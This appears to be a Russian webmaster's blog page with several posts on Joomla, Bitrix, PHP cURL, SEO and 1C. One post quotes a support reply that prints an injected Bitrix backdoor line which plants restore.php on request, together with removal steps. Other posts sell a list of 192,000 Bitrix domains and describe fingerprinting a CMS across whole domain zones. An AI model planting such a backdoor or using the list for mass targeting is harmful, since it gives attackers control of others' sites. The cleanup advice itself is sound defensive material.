.
15 Ноябрь 2018

Joomla Fatal error: Class ‘JCache’ not found

Вчера клиент закосячил сайт на Joomla — попросил восстановить из бэкапа, что я и сделал — НО сайт не заработал!
Откатил ещё на более ранний бэкап — не пашет!
Включил отображение ошибок — Fatal error: Class ‘JCache’ not found in /libraries/joomla/factory.php on line XXX

Решение найдено, Вы когда бекапите или переносите, не забираете содержимое папки /libraries/joomla/cache
потому что в бекапщиках обычно стоит исключение папок cache, поэтому нужно дополнительно ее себе скопировать.

Вот такой вот курьёз 🙂

рубрики: Joomla | Комментарии (0)

8 Ноябрь 2018

PHP — как отправить файл POST запросом cURL

Собственно, задача — автоматизация процесса загрузки файла на сайты через веб-форму.
То есть на разные сайты мне нужно загрузить один и тот же файлик — захожу на сайт, выбираю нужный файл жму аплоад!
Список адресов сайтов с формой есть, файл конечно тоже — нужно автоматизировать!

Для реализации поставленной задачи решил использовать библиотеку curl, но вот с передачей файла возникла проблема — никак у меня не получалось отправить файл в форму!
Довольно долго рыл и нарыл таки рабочее решение
https://stackoverflow.com/questions/4223977/send-file-via-curl-from-form-post-in-php и оно же на другом ресурсе
https://exceptionshub.com/send-file-via-curl-from-form-post-in-php.html

Собственно, чел видимо затрахался как и я и решил передаваемые в POST данные сгенерировать самостоятельно с правильными заголовками.
Незнаю почему, но у меня в кодировке base64 ну никак не передавался, вернее передавался, но в такой кодировке и сохранялся 🙂 т.е. в закодированном виде, поэтому я несколько переделал скрипт до рабочего состояния (и увеличил кол-во передаваемых переменных для наглядности).

Получился такой код
Читать полностью »

рубрики: PHP, Полезности, Программирование | Комментарии (0)

7 Ноябрь 2018

Дёшево продам базу сайтов 1С Битрикс — 192 тысячи доменов

Продам базу сайтов на CMS Битрикс — почти 192 тысячи доменов.
Цена 700 рублей
Актуальность базы — октябрь 2018г.
Точнее перепродам с целью отбить вложения и если нужна база посвежее или нужны базы на других CMS — источник в предыдущем посте.
База качественная, проверил все домены которые знал с 1С Битрикс — они в базе присутствуют.

Цитата автора:

Я не собираю сайты из поисковых систем, а ежемесячно сканирую списки доменов, полученные от регистраторов напрямую из 1755 доменных зон включая популярные зоны ccTLD. И Вам не нужно ждать по полгода следующего обновления.
Не верьте тем, кто пишет, что они прочекали 310 млн или более.
За 8 лет работы с базами доменов я могу смело заверить, что такого количества ЖИВЫХ доменов просто не существует, если они, конечно, не чекают проэкспайреные))
Купив базу сайтов на 1C-Bitrix, Вы можете быть уверены, что получаете актуальный и максимально полный список всех существующих доменов на данной CMS!

Количество доменов по доменным зонам (с количеством более 50)

All 1C-Bitrix.txt: 191854
===============================================
ru 124288 02-10-2018
xn--p1ai 31828 02-10-2018
com 12017 02-10-2018
su 4386 02-10-2018
ua 3100 02-10-2018
by 2727 02-10-2018
pro 1642 02-10-2018
kz 1641 02-10-2018
net 1226 02-10-2018
org 1064 02-10-2018
info 906 02-10-2018
biz 412 02-10-2018
online 304 02-10-2018
moscow 294 02-10-2018
xn--p1acf 263 02-10-2018
club 214 02-10-2018
shop 211 02-10-2018
xn--80adxhks 196 02-10-2018
de 191 02-10-2018
me 190 02-10-2018
eu 176 02-10-2018
site 162 02-10-2018
space 146 02-10-2018
uz 138 02-10-2018
tv 116 02-10-2018
store 107 02-10-2018
market 105 02-10-2018
cz 104 02-10-2018
center 95 02-10-2018
tj 93 02-10-2018
group 82 02-10-2018
xn--80asehdb 79 02-10-2018
uk 75 02-10-2018
nl 73 02-10-2018
vn 72 02-10-2018
lv 69 02-10-2018
top 62 02-10-2018
lt 61 02-10-2018
website 56 02-10-2018
one 55 02-10-2018
es 54 02-10-2018
expert 53 02-10-2018
life 51 02-10-2018
travel 50 02-10-2018
agency 50 02-10-2018

рубрики: Bitrix | Комментарии (0)

6 Ноябрь 2018

Быстрый способ определения CMS сайта

Решил записать мысль — ничего особенного, просто констатация факта 🙂
Собственно, для быстрого чека сайтов на определённой системе управления надо чекать какую нибудь статику, свойственную только для этой CMS — отдача будет практически мгновенная т.к. обрабатывать будет препроцессор nginx.
Например, для Битрикса можно проверять /bitrix/js/main/core/css/core.css
Например, так можно прочекать целиком доменные зоны (.ru .su .рф и т.д.)
Правда для таких объёмов придётся какой нить многопоточный чекер заюзать… но это уже тема для другого поста

PS
Млин, ниша уже занята 🙁
Чел чекает базы с доменных зон, распределяет по признакам и продаёт
http://shop.fe-play.ru/svn53-142350/
747 продаж ! (в основном джумла и вордпресс — ценник за 2 т.р.) — короче на полтора ляма уже наторговал! Молодец!
Жаль мне эта мысль в голову не пришла 🙁
Готовая база Битрикс сайтов всего 1350 руб. http://shop.fe-play.ru/2128005-baza-saytov-na-cms-1c-bitrix/

PPS
Если записаться в конкуренты, прикинем требования: 300 млн. доменов нужно чекать за месяц, это по 10 млн в сутки! Делим на 24*60*60 = нужно чекать 116 сайтов в секунду! однако!!!
Тут одним сервером не обойтись! Ну и как писал выше — многопоточка + статические признаки
Тут ещё момент — для статических признаков разные запросы, так что количество доменов нужно умножать на количество признаков! (начинаю сомневаться в ежемесячной актуальности баз)
Хотя, для повторной проверки, когда CMS ранее уже была определена — потребуется только один запрос, так что если с умом — реально! (правда ещё момент не учёл — время на работу с БД! база то не хилая получается!)

рубрики: Размышления | Комментарии (0)

31 Октябрь 2018

Вирусы и трояны на Битрикс сайте

Всем привет!

Уже на третьем сайте под управлением CMS Битрикс (разные лицензии) обнаруживаю одни и те-же бэкдоры и трояны, причём непосредственно в файлах движка Битрикса!
Инструмент монитор качества «Ядро проекта не модифицировалось» такие файлы не ловит т.к. это не модифицированные, а просто левые файлы.
Но вот почему модификацию /bitrix/modules/main/include.php не находит — уже вопрос
Вообще файлик этот довольно мутный — в нём присутствует обфуцированный код, причём легальный — от конторы 1С Битрикс. (что и раздражает — вирусу легко можно спрятаться под этот код)

На крайнем проекте уже не выдержал и написал в саппорт вопрос о технологии поиска лишних файлов, на что получил не совсем то, что хотел, но думаю для поиска таких типичных вирусов это неплохая инструкция (вообще думаю в движке была дырка, которая не афишируется, через которую и произошла иньекция — т.к. сайты абсолютно разные, а вирусятина одна и та же!)

ЦИТАТА
Добрый день!

Да, это вирус.

Вам необходимо:
1. Сделать полную резервную копию сайта.
2. Удалить restore.php из корня сайта.
3. Удалить посторонний скрипт /bitrix/js/main/core/core_loader.js
4. Отредактировать /bitrix/modules/main/include.php, удалив из него строчки:

require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php");

if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};

5. Удалить /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php и /bitrix/tools/check_files.php

если открывается http:// сайт /?utm_term=version — ваш сайт взломан с полным управлением у злоумышленника!
если открывается http:// сайт /bitrix/js/main/core/core_loader.js — ваш сайт взломан с полным управлением у злоумышленника!
если в корне лежит restore.php (а его там раньше не было) — тоже самое!

Заражение в действии — злоумышленник получает полный файловый доступ к сайту!

Вот такая приколюха!

рубрики: Bitrix, security, взлом и безопасность | Комментарии (0)

15 Октябрь 2018

Турбо страницы — новые технологии от Яндекса

Что же такое турбо страницы?
Спросим у Яндекса 🙂

Углубляться в подключение и настройке турбо страниц я не буду — вся технология очень доходчиво изложена на Яндексе tech.yandex.ru/turbo/ с множеством примеров и очень хорошей документацией.

А вот обсудить вопросы влияния турбо страниц на поисковую выдачу — можно!
Хоть Яндекс официально заявляет, что технология не влияет (что кстати довольно сомнительно) — лично я считаю, что даже если на данный момент времени не влияет — в скором будущем влиять будет!

Скорость загрузки страниц — на выдачу влияет, и об этом официально объявлено и известно всем! Турбо страницы — технология мгновенной загрузки контента в поисковик (по сути обращения к сайту даже нет т.к. Яндекс всю информацию берёт из кэша, поэтому и получается так быстро! Складывая два этих факта получаем, что всё таки турбо страницы должны ранжироваться повыше обычных (по крайне мере в мобильной выдаче — собственно, ведь для неё турбо страницы и заточены).

В общем для движка онлайн аптек я такую технологию внедрил — и по запросу sexipower.ru Виагра в поисковой выдаче Яндекса с мобильного уже видим следующую картину

При клике на которую мгновенно прямо в Яндексе открывается Турбо страница с заранее подготовленным контентом!

рубрики: SEO | Комментарии (0)

1 Октябрь 2018

Cannot use output buffering in output buffering display handlers in /bitrix/modules/main/lib/data/cache.php

Ни с того, ни с сего — начал падать сайт под управлением движка 1С Битрикс.
Никто ничего с сайтом не делает — сам валится и всё тут.
В логах веб сервера множество таких записей
«Cannot use output buffering in output buffering display handlers in /bitrix/modules/main/lib/data/cache.php»
Довольно много гуглил и пробовал — ничего не помогло, методом научного тыка вычислил, что проблема очень подозрительном файле ядра
/bitrix/modules/main/include.php
подозрительность в том, что 1. код частично закодирован! 2. файл самостоятельно обновляется!
я его с ядра другого сайта перезаписал — ошибка ушла, но через некоторое время он обновился до той же длинны, что и была — и бай бай сайту — снова так же ошибка с кэшем

Предположу, что там какой то код на счёт валидности лицензии и там то и разработчики что-то накосячили (скорее всего в эхо ушел какой то невидимый символ типа переноса строки)
Отправил запрос в саппорт — жду ответ!

рубрики: Bitrix | Комментарии (0)

26 Сентябрь 2018

1С 7.7 пропадает точка при выгрузке формы в xls

Волею судеб приходится заниматься всякой всячиной — одна из которых поддержка клиентов по вопросам 1С 7.7
Т.к. поиск в сети не принес мне быстрых результатов пришлось сабж решать самому.
О проблеме более детально — выводим УПД из 1С 7.7. сохраняем в xls — открываем, а там количество вместо 2,000 стоит 2000
То есть запятая, отделяющая дробную часть тупо пропадает по всему документу.

Решение такое — открываем конфигуратор, там общий модуль — в нём ищём поиском УПД891 — позиционируемся на процедуру вывода в таблицу УПД891.
Там чуть ниже находим строчку, задающую формат вывода количества в таблице
ПечКоличество = Формат(ТабДок.Количество, «Ч-15.3,»);
Тройку меняем на двойку, сохраняемся и готово!

рубрики: , Полезности, Программирование | Комментарии (0)

14 Сентябрь 2018

M5q5.js — что за скрипт? как избавиться?

Итак, последние два-три дня меня довольно часто уведомляет антивирус Eset Smatr Security о блокировке открытия javascript файла M5q5.js с различных сайтов!


Например последнее обращение было с https://www.hostingcloud.accountant./M5q5.js
Скачал я этот файл себе — глянул, всё обфуцированно и ничего не понятно M5q5.js

Событие генерируется в chrome.exe при открытии новых сайтов (на сайтах данного скрипта нет!) — который я сносил и в нём все расширения сносил — ничего не помогает 🙁
Куда дальше копать — не знаю 🙁

PS
Убрал синхронизацию приложений — пока полёт нормальный!

рубрики: Новости / Обзоры | Комментарии (0)

12 Сентябрь 2018

Мобильный шаблон для онлайн магазина

Наконец-то PageSpeed Insights нормально оценил мой новый шаблон онлайн аптеки с точки зрения мобильных девайсов!
До этого тоже вроде адаптивный шаблон сделал — но гуглу почему-то он не зашел, а этот вроде норм!
Очень надеюсь, что мои труды по адаптивному шаблону для мобильных девайсов в положительном смысле отразятся на поисковой выдаче!
Для Новосибирской онлайн аптеки всё тоже самое т.к. шаблон один.
Дополнительно задействовал алгоритм генерации ссылок и околоссылочного текста и подключил на пару сайтов (в т.к. и блог — отображаются сверху в рекламном блоке), тут тоже имхо риск — либо зайдёт и чуть повыше в топе, либо наоборот и соответственно в яму 🙁

рубрики: Новости / Обзоры | Комментарии (0)

Яндекс.Метрика